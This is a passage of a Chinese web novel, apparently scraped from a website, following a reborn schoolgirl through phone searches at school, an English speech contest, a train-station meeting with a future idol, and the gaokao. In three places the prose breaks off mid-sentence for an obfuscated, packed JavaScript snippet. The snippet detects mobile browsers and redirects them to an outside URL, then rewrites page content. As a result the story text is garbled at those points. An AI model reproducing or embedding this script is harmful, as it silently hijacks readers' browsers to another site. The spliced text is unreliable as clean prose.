陆易宁倒是没怎么注意,不过陆果果最后一次追星的对象,有能力,没什么绯闻,至少不是全网黑的程度。 …… 陆易安读高三的下半个学期,距离高考时间越来越近。 学生压力大,学习紧迫,为了防止学生长期处在高压情况下学习,对身心不利,学校领导对高三学生的监管开始实行适当的放松政策。 每周周天晚自习,学生需要把智能手机上交给班主任统一保管,周末放假的时候,班主任再将手机归还。 虽然手机上交了,但是有很多同学拥有的手机不止一部。上交了一部,偷偷藏个一两部私底下玩也是常见的。 因为监管放松,原本三天两天不定点搜查一次手机,演变成了一个星期搜查一次。 某天晚上,年级主任晚自习结束,在办公室里加了半个小时的班后,心血来潮,偷偷去高三教学区查看了一圈。 巡查结果让他气得发毛。 每个班都有学生留在教室,蹲在教室后方给手机充电的同时一边打游戏。 没有手机玩的学生,就当看客。 一个人玩游戏,五六个人围在一旁看。 这哪得了,教室里都这个情况了,更别提宿舍了。 年级主任忍住没收手机的冲动,等明天晚上晚自习结束,安排老师同时袭击教室和宿舍,将玩手机的学生一网打尽。 首要目标是高三学生,再是高二高一的。 第二天晚上,老师们上完晚自习后,回到办公室里集合。先刻意营造一副要回家的假象给在办公室附近打探的学生看,等出了校门,又折返回来,杀个措手不及。 十点半了,陆易宁在教室里刷高三这次月考的理综试卷,教室后面有几个同学在打游戏。 生物的遗传大题刚做完,陆易宁一抬头,就看见陆易安跑进教室里。 陆易宁说:“下雨,衣服还没干。” “我不是来拿衣服的。”陆易安将手机和充电器拿出来放在陆易宁的试卷上,“我上厕所的时候看见别班的老师今天晚上突然查手机,我们班也快了。你先帮我藏一下。这次查手机查得很严,学校肯定会开大会批评私藏手机玩游戏的学生。你也不想看见你姐的大名在广场上的大屏幕里滚动吧。” “我还挺想的。” “滚!” “大姐!”陆易宁手压在手机上,“你这次月考才考了三百六诶,你还玩手机?” “我这不是因为才考了三百六,想学你在网上搜学习资料嘛,我手机里全是英语知识点,数学知识点。我还没学呢,今天就开始查手机了。” 陆易宁摇头,“我不信。” “其实有部分原因是我王者段位掉了,我们班的大神说带我一块打,保准升星。” 陆易宁听完,脑袋沉沉地砸在桌上。 上一世,她苦口婆心地劝学,上一世的陆易安也比较听劝,最后高考考了四百多分,为了离母亲近一点方便照顾母亲,留在省内,进了省师范。 虽然考得比第一世好,学校也比第一世好,但是她活得就没有第一世轻松潇洒。 陆易宁这一世不想逼着老姐学习,只希望老姐跟第一世一样,去同一所学校,就职同一家公司。可是眼下她这副模样,周末一有时间就到处玩,晚上回宿舍就打游戏。照这样下去,别说本科,大专都考不上。 陆易宁抬起头,还是劝会儿吧,“我就知道。大姐,你高三了!你这时候玩什么游戏啊,两个月不到你就要高考了呀!” “我又不是天天玩游戏。”陆易安说:“总之,你先帮我藏一下,顺便给我手机充会儿电,要没电了。” “万一有老师来高二的教室查手机呢?” 陆易安轻飘飘地说:“有也不怕,你是谁啊,老师舍不得骂你的。” 陆易安说完就走了。 陆易宁输入手机密码。 额……网盘里确实都是学习资料,什么英语听力,数学三角函数常见题型都有。 当然,还有一部听名字就很脑残的偶像剧全集视频。 陆易宁走出教室,在阳台上看了一会儿,老师的办公室是黑的,楼下也没什么动静。 还是先给手机充电吧。 十一点十分,宿舍十一点半熄灯,该回宿舍了。 陆易宁收好桌上的试卷,背上书包,刚离开座位,教室外面就有两个老师的身影跑过,其中一个还是班主任。 “哦豁!” 陆易宁心一紧,真的来了! 另一个老师拿着手机站在讲台上,对着教室后面玩游戏的学生咔咔咔一阵拍。 几个男生听见动静回头,顿时呆若木鸡,手上的游戏也不香了。 “大晚上的不回宿舍,就是为了在教室里玩游戏啊!”拍照的老师走下讲台,把他们的手机全没收了。 陆易宁走也不是,不走也不是。 被老师没收的手机,只有等期末放假,老师才会还回来。 看陆易宁傻站在原地,孔祥龙提醒道:“陆易宁,这是抓玩手机的,不关你的事,你可以走的。” 陆易宁:最好不关我的事。 老师如果要收手机,那教室里各个有插孔的地方是必找之地。 拍照的老师在后面找,班主任在讲台的区域找。 孔祥龙拉开黑板左下方的凳子,果然找到了一部智能手机和一个灰色的充电宝。 充电宝是班上其他同学的,手机的话…… 在班主任没有敞开声问别人之前,陆易宁主动承认:“老师,这是我的手机。” “你的手机?”孔祥龙纳闷道:“你不是没智能机吗?” “我……上周清明放假回家,带来了。” 孔祥龙的脸色有些失望,“那你星期天上晚自习的时候为什么不上交?” “我……”陆易宁的大脑快速运转,飞快地搜索能利用的信息,“我听英语老师说有个高中生英语演讲比赛,在县里得了成绩,还能去省里。我想试一试,然后用手机搜一下资料来写演讲稿。” “这样啊!”孔祥龙抿着嘴,沉默了片刻,很明显,他信了。 “可是我听英语老师说报名截止了啊,你报名了吗?” “哎呀!”陆易宁惊讶后,故意作出一副可惜的神情,“我……我还以为这周才截止,所以没来得及报。这样的话,看来是错过了。” “其实去练一下口语也是很不错的。”孔祥龙说:“要参加比赛,也不多留点心。” 班主任是糊弄过去了,但是手机还是得上交。 “把闹钟关了。”孔祥龙将手机递到陆易宁面前,“休息日还给你。” “好。” 陆易宁解开手机密码,手机屏幕还是网盘的界面。 孔祥龙看到上面显示的英语听力原文,还以为是她找的资料。 看来是真的想参加比赛啊! 第二天早上的物理课下课,孔祥龙走了又折返回来在讲台上对陆易宁说:“我跟英语老师说了你比赛的事,英语老师已经你补报了名。等会上英语课,你把你写的演讲稿给她,让她帮忙看看。” “啊?……好……好的,谢谢老师。” 陆易宁本来想睡觉的,瞌睡全被吓跑了。 徐子怡单手撑着下巴,“你还报名了演讲比赛?英语老师之前说的时候,你不是说没兴趣不想参加吗?” “对啊!”陆易宁脑袋趴在课桌上,“就是……突然想参加了。” 演讲比赛分为三个阶段。第一阶段为学校筛选,第二阶段是去县教育局指定的地方参加复赛,第三阶段则是去省会城市。 陆易宁花了两天时间写好演讲稿,脱稿后,能流利地背出大体的内容。 她练了这么多年的口语,演讲时还不至于有发音问题。 教育局指定的比赛场地在县一中,陆易宁和同校的两位学生跟着带队的英语老师一同前往。 在学校里演讲时,她对演讲稿的内容还不怎么熟,但等到去县一中比赛时,她早把演讲内容咬碎吃透了。 第二关完美通关。 第三关是去省会城市演讲,这下只剩陆易宁一个人了。 陆易宁有些纠结,到底要去不去。学校不像一中那样,报名参赛并且进入省赛的学生多,有带队老师。之前去一中的时候,都是英语老师抽时间带着自己去的。 去一中不过就是一两个小时,去省会城市可是要花两天的时间。 “去!怎么不去?我要是口语有你那么好,别说去市里,我北京上海都要去!”陆易安拿身份证在网吧里给陆易宁开了个包间,听陆易宁纠结了一路,一进包间,就给她打开电脑,“你要是怕一个人的话,我请假陪你去。” 陆易宁坐在电脑前面,“我有什么怕的啊,你就是想请假出去玩。” “你去试试嘛,老爸过段时间要去市里给萱姐家弄房子,你们两个一块去就行,正好在市里玩玩,然后回来的时候,给我带一份全家桶。” 陆易宁:…… “你先用电脑写个初稿,写完了发我手机里,下午回学校的时候,我去我们教室楼下的打印室里给你打印出来。” 陆易宁点点头,“好吧,我试试。” “你要吃什么水果吗?”陆易安将钱包放回自己的斜挎包里面,“还是给你买点零食带回学校。” “随便吧。” 试试就试试,活了这么多次,陆易宁还没参加过大型的比赛过。 以前读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536033|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高中时浑浑噩噩的,一天天的,知识对半听,还累得要死。 这一世有点看头了,锦上添花也不错。 省会的比赛重新定了一个主题,演讲主题是青年力量与社会责任。 陆易宁构思了半个小时,理清脉络后,开始动手。 写完初稿时,已经下午了。 带来的面包吃完了,陆易宁站起来活动活动四肢,打算去网吧对面的米粉店随便吃一顿。 刚走出包间,还没走到大厅,旁边突然冒出一个人影将她推回走廊。 “还好你今天来了。”郑煦看见她,像是看见了救命稻草,急着将她往回赶,“你的包间在哪?” 她来网吧上网课郑煦是知道的,毕竟有几次两人在网吧里遇见过。 不过,郑煦是来打游戏的。 家里是开网吧的,被压制了几年的网瘾在别人家的网吧里现出原形了。 陆易宁侧着身子往大厅里看去,只看见一个戴着眼镜的男老师在网吧里游走,两只眼睛跟火眼金睛一样到处扫。 “外面那个是你们学校的老师?”陆易宁看了郑煦一眼。 “对啊!”郑煦请求道:“所以帮我个忙吧,我已经被他逮过两次了,这一次再落他手里,我就落我爸手里了。” “帮你可以。”陆易宁细细琢磨着,“不过……我听说你们一中的高三生,人手一套数学和理综试卷,上面基本上全是名校经典题汇总,还有请校外的大佬出的题。如果可以的话,你给我搞一套。” “好!”郑煦爽快答应。 陆易宁将郑煦带回自己的包间,外面有老师在,她就算不是一中的学生,出去也极可能被怀疑。 还是先不去找事了。 咕噜噜…… 陆易宁的肚子又开始叫了。 郑煦坐在她的位置上,将电脑界面切换成游戏界面,“你不会还在节食减肥吧?” “清明放假回家,我看你还是白的,怎么现在脸又黄了?” “滚!你这个鬼样子,一离开电脑就跟被脏东西附身了的衰东西有什么资格说我?” 嘴上硬气,心里苦啊。 陆易宁也烦躁,她明明没有节食,就是控制了饮食,每天一大早还去操场跑圈背单词背语文,人是瘦了,脸也暗黄了。 “你这台机子有点卡啊!”郑煦一将窗口缩小,显示器上各种网页排成一列,“你是要做什么吗?搜这么多英语材料?” “写稿子啊!” 陆易宁直起身子,突然有个不祥的预感。 “等一下!!!我写的东西没保存!”陆易宁连忙阻止。 晚了一步,郑煦的贱手已经将wps关了。 “喔……”郑煦意识到做错了事,双手从键盘上弹开。 陆易宁瞪大眼睛,用力将他从椅子上推甩出去,重新打开办公软件,“我告诉你,你最好现在祈求我的文件能有备份。如果我恢复不了,我就把你扔出包间,让外面那个老师把你揪回去!” “会有备份的吧。”郑煦老老实实站在后面看。 在门外巡逻的老师停在门口一听,不对劲,眼前的包间里好像有熟人。 “你们是四个人一块来的吧?”主任回头睨了身后的三个学生一眼。 “嗯。”戴眼镜的男同学点了点头。 陆易宁紧咬着牙关点击鼠标,还好有备份可以恢复文档。 郑煦也跟着缓气的同时,门被打开了。 开门的人是老熟人了。 “你躲在这啊!”男老师沉着脸,“很会躲嘛,今天下午有课你不知道吗?” 老师中气足,声音沉稳有力,陆易宁一个外人听着心里都发毛。 陆易宁不过点了一下鼠标,将文稿发给陆易安,老师的注意力被她吸引过去,“这个女同学,你……是哪个班的?” 陆易宁回头,手指头指着郑煦,说不认人就不认,“老师,我不是一中的学生,我也不认识他,是他在走廊里看见我,莫名其妙跑进我的包间的。” “你不是一中的,怎么知道我是一中的老师?” “额……”陆易宁拍了脑门一掌,怎么偏偏在这个时候短路了。 “老师,我也不认识她。”郑煦偷偷笑完,贱兮兮地翻脸,“但是,我在学校食堂见过她,她肯定是一中的学生,如果她不是一中的校友,我也不好意思躲在这。” 陆易宁对着郑煦翻了个大白眼。 狗东西! 戴眼镜的男生补了一刀,“对,我之前还在学校里见过她。” “我那是去你们学校参加演讲比赛!” 刚才老师在走廊外面听见两人的对话就能判断出两人认识,现在在自己跟前说不认识,鬼才信。 “都跟我走!” 老师一声令下,陆易宁实在拿不出能证明自己身份的东西,辩解无用,被迫和郑煦还有另外三个来网吧的学生去了一中。 老师查不到她的班级信息,但是就不让她踏出一中的大门。 陆易宁被逼无奈,只能打电话给陆易安。 最后还是陆易安拿着她的学生证来一中,才把她领回去。 63.六十三章 演讲比赛的时间在周二,陆易宁请了三天假,周日就去市里。 大表姐和表姐夫在城里打拼了这么多年,也稳定下来了。表姐在省会开了一家卖电动车的店,表姐夫修车手艺好,又在电动车店的对面开了一家修车店。 两人新买了一套房,正打算装修,看见陆平在朋友圈里发的广告,刘萱立刻下了订单。 陆易宁这次是跟父亲还有几个叔叔一块去省会。 今年,县里休建的高铁站已经投入运行了。高铁站位于县城和小镇中间,坐车去小镇需要过桥,但是去高铁站不需要。 会开车的罗伟和郑松开着面包车,拉着工具,直接走高速去市里,陆易宁和父亲还有另外几人坐高铁。 叔叔们从家里打车去高铁站,陆易宁从学校出发,两伙人在高铁站外面碰头。 陆易宁到高铁站时,父亲还有另外五个叔叔正坐在高铁站入口处的石墩子上等她。 他们这些人中,只有一个人坐过火车,怕看不懂流程上错了车,耽误时间,所以都在等陆易宁。 陆易宁一下出租车,陆平就跑上去问:“车票你真的买了吗?” “买了买了,我用陆易安的手机买了。” 其中一个叔叔说:“那进去取车票吧!” 陆易宁解释道:“不用,大勇叔,现在可以不用取纸质车票,直接刷身份证就可以坐车了。” 几人都相信陆易宁比他们懂,跟在陆易宁身后。 高铁还有两个小时才到,陆易宁领在前头,给叔叔们讲解坐高铁的流程。 他们不常出远门,就算出门也是半夜里坐私家车出行。哪怕生活方便了,变好了,除了手机,他们还没亲身感受到别的科技带来的便利。 高铁、地铁、飞机,这些大玩意儿他们都只是在电视上和手机里看过。 今年高铁能运行了,几人听说陆易宁也要去省会,就想跟着她坐一次高铁。 从刷身份证进站到安检,再到车站大厅看车站发车时间,整个过程陆易宁全部讲清楚。 “感觉跟坐火车差不多嘛。”张大勇坐在大厅的长椅上,环顾四周,除了车站外面的高铁是白色的以外,其他的跟火车站没什么不同。 “对啊,就是差不多。”陆易宁说:“这个高铁站小,市里的高铁站很大,有些火车站高铁站其实都是同一个车站。” “那这个有多快啊?” 陆易宁想了想说:“如果是坐火车的话,去市里少说也要两个小时,坐高铁四十分钟就够了。” “这么快!”张大勇震惊道:“我之前坐火车回来,站了四个多小时才到。” “你不也没坐过吗?”陆平十分骄傲地看着女儿给朋友们科普,“怎么懂这么多,也是在网上学的?” “对啊!” 前两世坐过多次了,坐高铁去安徽,去山东,去上海,屁股都坐平了。 陆易宁带两个叔叔去取票口,教两位叔叔在自助取票机上用身份证取纸质车票。回到大厅,再给他们的手机下载买票软件,教他们用手机买票。 列车进站,陆易宁又教他们看地标,找车厢。 四十分钟后,抵达目的地。 比起县城里的小车站,出入口都只有一个,市里的高铁站就复杂多了,东南西北都有,车站上方的指示牌能看昏人眼。 叔叔们跟在陆易宁身后,她说什么是什么。 陆易宁教他们看指示牌,来都来了,高铁站和地铁站连在一块,干脆就带着他们坐一遍地铁。 到了表姐家,一趟流程下来,叔叔们都说陆易宁的书没白读,活该成绩那么好。 以后啊,是考好大学的命。 好命的祝福,陆易宁欣然接受。 周一,陆易宁坐地铁去会场提前熟悉路线,然后将做的PPT拷贝在会场的电脑里。 会场老师给每个参赛选手发了两张现场入场券,陆易宁把入场券带回去,都挺忙的,没想着要带谁来会场看自己演讲。 外甥女晚上在她的外套口袋里翻出两张入场券,吵着要去看她演讲。 刘萱骂道:“你明天不上学了?!” 小丫头瞬间沉默。 第二天,陆易宁一个人去会场,比赛一点钟开始,她的出场排在第十位。 陆平中午吃午饭的时候,听到刘萱说比赛入场券的事,想着女儿一个人去比赛,别的选手都有老师家长陪着,就她一人孤零零地坐在现场。 不行,他一个当爹的,要是在老家来不了还好说,他人都在市里了,怎么能看女儿一个人去比赛。 身上沾了粉尘,脏兮兮的,不能穿成这样去现场。陆平大手一挥,微信里的零花钱不够,给刘秀珍打了个电话要钱。 钱一到账,就去服装店里买身新衣服,然后回来洗个澡,收拾打扮好,准备出发。 “哎哟,姑父去看比赛还要打扮一番。”刘萱开玩笑道:“狗不嫌家贫,子不嫌母丑,你就算穿成要饭的去看陆七七演讲,她也不会嫌弃的。” “诶,要不得。话是这样说,但是啷个可能嘛,谁都巴不得爸妈去看自己时光鲜亮丽的。”陆平说:“我女儿在台上演讲争光,我在台下也不能给她掉面子啊!” 出租车开到场馆外面停下,陆平拿着入场券给保安看,成功进去。 陆易宁站在台上,刚做完自我介绍,就看见父亲出现在观众席后方,勾着腰在找位置坐。 今天天气有点冷,他身上穿着某个男装品牌的春季外套,外套是灰色的,里面搭配着白色T恤。 陆易宁一眼看出来,他买了新衣服。 陆易宁原本有点紧张,打开ppt时,这一刻,好像有点放松了。 她在台上用着标准的英语口语,从容地说着大屏幕上,照片中人物的经历。 陆平听不懂,一味地举着手机拍视频拍照。 评委们用英语问问题,女儿对答如流,陆平在心里鼓掌。 演讲结束,陆易宁跳着跑下讲台,“老爸,你怎么来了?还穿了新衣服。” “我女儿的省级演讲比赛,我不来怎么行。”陆平又开始捯饬自己的发型和外套,“我这身衣服可是男人的衣柜。你爹打扮起来,没给你丢脸吧?” “你本来就不想穿我妈做的衣服,想自己买衣服穿。”陆易宁看破说破,“只不过这次的理由我妈能接受。” 陆平点开微信和刘秀珍的聊天记录,里面全是陆易宁刚才演讲的视频和照片,还有一笔一千块的转账,“你妈让我在你比赛完后,带着你去吃好吃的。” “用不着这么多吧?而且我比赛的成绩又还没出来。” “怎么用不着?”陆平严肃地说:“你用不着,我用得着。我之前偷偷扣留的八百块尾款,全被你妈叫我回老家吃酒席送人了。” 父亲但凡身上有点钱,母亲总是能找各种理由让他花出去。 吃酒席送份子钱是大头,买吃的回家或者买工具是小头。 陆易宁只得同意,“行吧。” …… 来的时候是一群人,回的时候只有陆易宁。 县城里现在还没有肯德基的店铺,陆易宁去车站之前,先去给陆易安买了最贵的套餐还有她喜欢的芋泥奶茶。 “哇,你好香啊!”她抱着一堆吃的过完安检,排在她身后的小姐姐闻着她手里奶茶发出的奶香味,差点跟着她一块跑。 控制饮食控制到了头,一股奶茶香都能把人钓成狗。 陆易宁回头,只见一个扎着高丸子头的女生在吸着鼻子。 陆易宁对她的第一印象除了眼熟,就是瘦,太瘦了,以至于本来就好看的五官在那张巴掌大小的脸上,让人看起来有点奇怪。 陆易宁将给陆易安带的奶茶拿出来,“你要喝吗?我这还有一杯没开过的。” “不了,不了,谢谢。”女生连忙挥手致谢,“我就是说说而已。” 陆易宁的检票口是22A,女生的检票口室23A。 两人候车的位置只隔了两排背对背的长椅和两条过道。 上一趟列车的检票刚结束,现在过道里没人排队。 陆易宁给陆易安发完消息,抬起头,晃眼间和坐在对面的女生对视。 女生的皮肤很白,没有化妆,素颜依旧很能打。 “好瘦啊!上镜都不怕胖十斤。”陆易宁暗里唏嘘着,面上以微笑回应对方的笑容。 “上镜?” 陆易宁这才后知后觉,为什么自己会觉得对方眼熟了。因为她是第一世陆果果第一个喜欢的女爱豆。 陆果果那家伙为了她,学剪辑软件,剪视频剪得飞起。 不过,她现在只是一个在韩国还没出道的糊糊。 陆易宁有些紧张了,要不要提前去给陆果果要个to签啊? 会不会太唐突了太冒昧了,万一人把自己当流氓了呢? 陆易宁纠结过程里,时不时就看女生一眼。她自己没什么感觉,但是对方已经发现有人在看自己了。 只不过没力气回应她的目光。 女生靠在椅子上,脸色惨白,发际线周围的碎发已经全湿了。 陆易宁注意到她的异常,她这个症状像是低血糖,有段时间自己节食减肥,节食过了就是这个状态,脸色苍白,浑身乏力。 第一世和陆果果看她的综艺时,主持人说到减肥的主题,她在节目上自爆自己曾经因为减肥低血糖在高铁站晕倒在椅子上,差点错过了去长沙的高铁,好在醒来的时间比较早。 陆易宁看向对面检票口上的电子屏,下一趟列车检票的时间在十六分钟以后,而终点站就在长沙。 “不会这么巧吧?”陆易宁扭回脖子,对面的人已经快要靠在自己的行李包上睡着了。 还好自己有喜欢在车上吃糖果的习惯。 陆易宁跑过去,打开一颗苹果味水果糖的包装纸,“对不起,打扰了,我看你好像有点低血糖。” 女生摇了摇头,“就是有点没力气。” “那就是低血糖,我减肥的时候经历过。”陆易宁将糖果递到她嘴边,“吃颗糖会好受一点。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539815|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢啊!” 成功送出糖果,陆易宁坐在她旁边的位置上观察她的情况,“我还有草莓的,牛奶的,橙子味的,你还要吗?” “我想要牛奶味的。” 陆易宁将身上仅剩的两颗牛奶糖递给她。 过了一会儿,对方终于有点精气神了。 “我那有面包和奶茶,我先给你垫垫吧。” “我自己去买就” 对方的话还没说完,陆易宁已经跑去拿面包和奶茶了。 “谢……谢谢你!” 陆易宁在心里组织语言,尽量不要她感受到被冒犯,张口就是:“请问……你是不是姜莱啊?” “嗯?”女生喝了一口奶茶,懵懵地看着她。 “抱歉,是我有点冒昧。”陆易宁嘴在前面跑,脑子在后面追,“我妹妹之前看过你的表演,她很喜欢你。” “可是……我没在公共场合表演过啊。” “她看过你微博里,就是……你在练习室里跳的舞,她很喜欢。” “是吗?”第一次线下遇到喜欢自己的粉丝,姜莱反而不好意思了。 陆易宁拿出笔记本,“所以,你能帮我写个签名吗?我想送给我妹妹当生日礼物。” “啊?”第一次被人要签名,姜莱有点不适应,但是一看到陆易宁眼睛里的期待,自己才刚咽下她给的面包,正所谓拿人手短吃人嘴软,“你妹妹叫什么名字啊?” “果果,苹果的果。” “好。” 姜莱接过笔记本,吃人家的面包喝人家的奶茶,就是在笔记本上写几个字,太亏了。 犹豫了片刻,姜莱从包里拿出一个白色的,穿着绿色格子裙的小卷毛绵阳公仔,公仔只有两只手掌一般大,脖子上还挂着一个深绿色的吊牌。 陆易宁捂着嘴,这种绵阳公仔在她以后出名了,别提有多火。 姜莱在卡牌上写了对陆果果的祝福语,并且在右下角写下自己的名字后,将公仔送给了陆易宁。 列车已经开始在检票了,过道上排着的人越来越多。 “谢谢!”陆易宁手里拿着公仔,给姜莱加油打气,“你一定要加油,相信我,你在韩国一定会出道的。” 说完,就抱着公仔跑去了对面,拿上行李后,排在了边上的一支队伍里。 姜莱又喝了一口奶茶,只是一句虚无缥缈的空话,却令人心暖。 她在韩国当了好几年的练习生都没出道,这次家里有事,回来一趟,等事情忙好了,就想回韩国拼一把新女团的竞争名额,如果还不能出道,就回国。 …… 陆易宁坐在车上,看着手里的公仔,在想什么时候给陆果果好呢?那家伙现在不知道姜莱是谁,而且以后姜莱只会用艺名出现在公众视野,原名还是她不小心在节目里爆出来的。 有个小孩眼巴巴地盯着她看,陆易宁以为他是看自己手里的公仔,连忙将公仔放回书包里。 其实小孩是闻着她前方小桌板上放着的汉堡香。 陆易宁见状,给了他一个蛋挞,小男孩道谢后,又有一个小姑娘跑过来,这次又分出去一个翅根。 …… 下午放学,陆易安专门等在校门口接她。 看见她提着东西下了出租车,陆易安两眼发光,有个妹妹就是好啊! 陆易宁有点晕车,没胃口,吃的全部给了陆易安。 陆易安手里拿着一个鸡腿,和她蹲在大门旁边,“得了第几名?” “不知道,结果过两天才出来。” “名次出来,如果你得了奖,周末我带你去吃烤肉庆祝一下。” 陆易宁:“如果没得呢?” “那就去吃火锅安慰一下。” …… 演讲成绩排名出来了,陆易宁得了省二等奖。 周六放学,陆易宁打电话给陆易安,让她兑现诺言时,那个家伙在电话里说:“我请假回家了,可能要星期二才回学校。” 一问原因,就是请病假。 可是电话里她的声音听起来很有精气神。 周二下午,陆易安回来了,没直接回宿舍或者是教室,抱着一箱子樱桃去了陆易宁的教室。 陆易宁正准备去食堂吃晚饭,看见她站在教室外面,只好让室友先走。 “我就知道。”陆易宁随手拿了一个樱桃塞嘴里,“挺甜的。” “那是,妈给我发她和倩倩阿姨去摘樱桃的照片,我就跑过去了。”陆易安将装樱桃的塑料盒子放在陆易宁的手上,并从书包里拿了两本刚打印出来的试卷题,“这是我送樱桃给郑阳阳的时候,他让我给你带的题。” “哦。” 两本题陆易安翻看过,有些题看起来比高考题还难。 “你才高二,怎么都开始刷高三的题了啊?” “提前学学。”陆易宁叹了叹气,“你都高三了,一个多月就要高考了,你还瞎请假回家摘樱桃。” “樱桃熟是在四月,又不是六月,慌什么?” 陆易宁:“还是你厉害!” 64.六十四章 陆易安的高考来了,学校里没有设考点,需要去一中考。 为了让女儿高考住得舒服,刘秀珍手一挥,给她定了考点附近最好的酒店。 高考成绩出来,还好省内的本科线分数低,陆易安过了本科线。 填志愿的时候,填的学校全部是上海的。 真被录取了,学费两万一年。 陆平和刘秀珍双目一黑,但是受不住女儿对大学生活的期待,咬咬牙,还是打算让她读下去。 熊茜乐二中毕业,考上了上海的一所本科院校。 陆易安和她相约一起去上海。 陆易安去学校报道当天,一大早刘秀珍在家门口送父女二人上车。 陆平带着陆易安和熊茜乐坐高铁去市里坐飞机。 在机场里面,陆易安和熊茜乐一人提着一个大箱子,坐飞机独自去上海,过了安检口,陆平看着女儿的背影,在机场里默默流泪。回到家,想到为了省钱没能亲自送女儿去上学,自责地哭了一晚上,直到接到陆易安打电话回来说自己已经在学校忙好了一切,他才放宽心。 陆易安知道自己的学费贵,上海的物价高,她不想花太多生活费,只让爸妈一个月给她一千来块,自己周末去咖啡店兼职打工,努力学习,挣奖学金。 刘秀珍怕她太累,每次打生活费都会多给一点。 终于认真学习的她在大学里专业排名前三,学校里有钱,对学生的奖励也就大方一点。 得了奖学金,就给陆易宁买学习资料,给陆果果和陆平偷偷买衣服,给刘秀珍买鞋子。 …… 升入高三,作为理科次次考试六百五十分以上的学生,陆易宁受到的关注就更多了。 学校领导以为她能冲清北,她的每一次考试成绩,老师们都清楚。 清北谁都想冲,陆易宁倒是挺佛系的,就算考她名字的谐音六一零,她都能接受。 第二次市联考,她只考了六百三十一,是这半个学期以来考得最差的。 数学最后两个选择题有点难,她没做,去抠后面的大题了。结果是别人蒙B正确,她蒙C,后面大题的结果算错了,a的取值情况也没有具体分析。 数学老师在讲台上讲题目,讲到最后两个选择题时,停了下来,“十一题就是绕了个弯子,脑筋稍微动一动,你直接把答案带进去,一算,就知道只有B选项算得通。这要是高考,不就白白送你五分吗?” “做数学题时,思维不要那么直来直去的,直来直去,答案明晃晃地摆在那你考什么试嘛。所以说,学数学还是要有方法,有技巧,会思考。没有技巧地学数学,你就是读死书” 陆易宁已经猜到了数学老师要说什么,他的口头禅不过就是那一句,陆易宁动了动嘴皮子,不发出声音,“死读书,读死书,读书死。用死方法来学数学,别说高中三年了,就是一辈子你也学不好……” 数学老师的声音随后而至,“死读书,读死书,读书死,死方法学数学,别说高三了,一辈子都学不好” 陆易宁耸了耸肩,大差不差。 “一辈子都短了点,三辈子你也学不会!”数学老师又补了一句。 “……” 嗯?三辈子也学不好? 好过分! 陆易宁瞬间石化,明显被攻击到了。 不是,数学老师以前骂人的话这么有针对性的吗? 这次联考大意了,第三次联考,陆易宁重振旗鼓,成功刷新自己的分数记录,六百七十三。 …… 高考临近,学校提前放了三天假给学生休息。 路修好了,桥修好了,无需绕路,回家变得方便得多,从车站到家只需要三四十分钟。 陆易宁将宿舍里的东西提前搬回家,高考结束就少搬一些。 郑煦打游戏,赵倩难得不骂他,都要高考了,就让他玩吧,反正这两天再学,也学不了什么。 “白起!!!你人呢?你是对面派来的救兵吗?” 郑煦在门口打游戏打得上瘾,游戏结束,在他的一阵叹气声里,陆易宁听得出来,输得很惨。 陆易宁站在阳台上吃冰棍,冰棍吃完了,将棍子扔下去砸他脑袋,“与其对着手机喊白起,你还是去看看历史上白起的生平吧…” 郑煦将脖子后方的冰棒木片拿出来,什么乱七八糟的。 高考第一天早上,考语文,郑煦坐在考场里,试卷分发下来,他随便看了一圈,看到文言文阅读题的内容时,瞬间傻眼。 “白起者,郿人也……” 郑煦:…… 动漫里袁天罡的死被她猜中了,这下连高考题也能猜中吗? 陆易宁的考场在一中,考完语文,郑煦守在校门口等陆易宁出来。 由于她天天在宿舍里说白起,室友们对白起是怎么死的,生平做了什么都了解得大差不差。 今天考试做到文言文阅读,差点笑出声。 一出考场就去操场上等着陆易宁。 陆易宁正和室友说说笑笑走出校门,讨论着中午去吃什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548630|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郑煦的声音传来,陆易宁只能让室友们先走。 郑煦态度虔诚,“我服了,大神,快帮我算一卦,下午数学考什么?” “额……”陆易宁掐指一算,“三角函数和立体几何,圆锥曲线必考。” “废话……” “内容我就不知道了。” 陆易宁说的是实话,她确实忘了,而语文的文言文阅读之所以记得是因为前两世室友打王者,高考第一天考完语文,回到酒店就开始大哭,说以后玩王者再也不选白起了。 …… 高考结束,等成绩无疑是个焦心的过程。 陆易宁对过答案,心里大概有了个底。 清华北大是上不了了。 这次该报什么大学呢? 六月下旬,成绩公布当天,陆易安和刘秀珍开视频,两家人在网吧里等着查成绩。 郑煦的分数第一个查出来,五百九十七,比中考成绩低一分。 这个分数郑松和赵倩很满意。郑松对郑煦的要求就是多少分进一中,多少分出来。 陆易宁的手心全是汗,心脏快要跳出来了,一直不敢点鼠标。 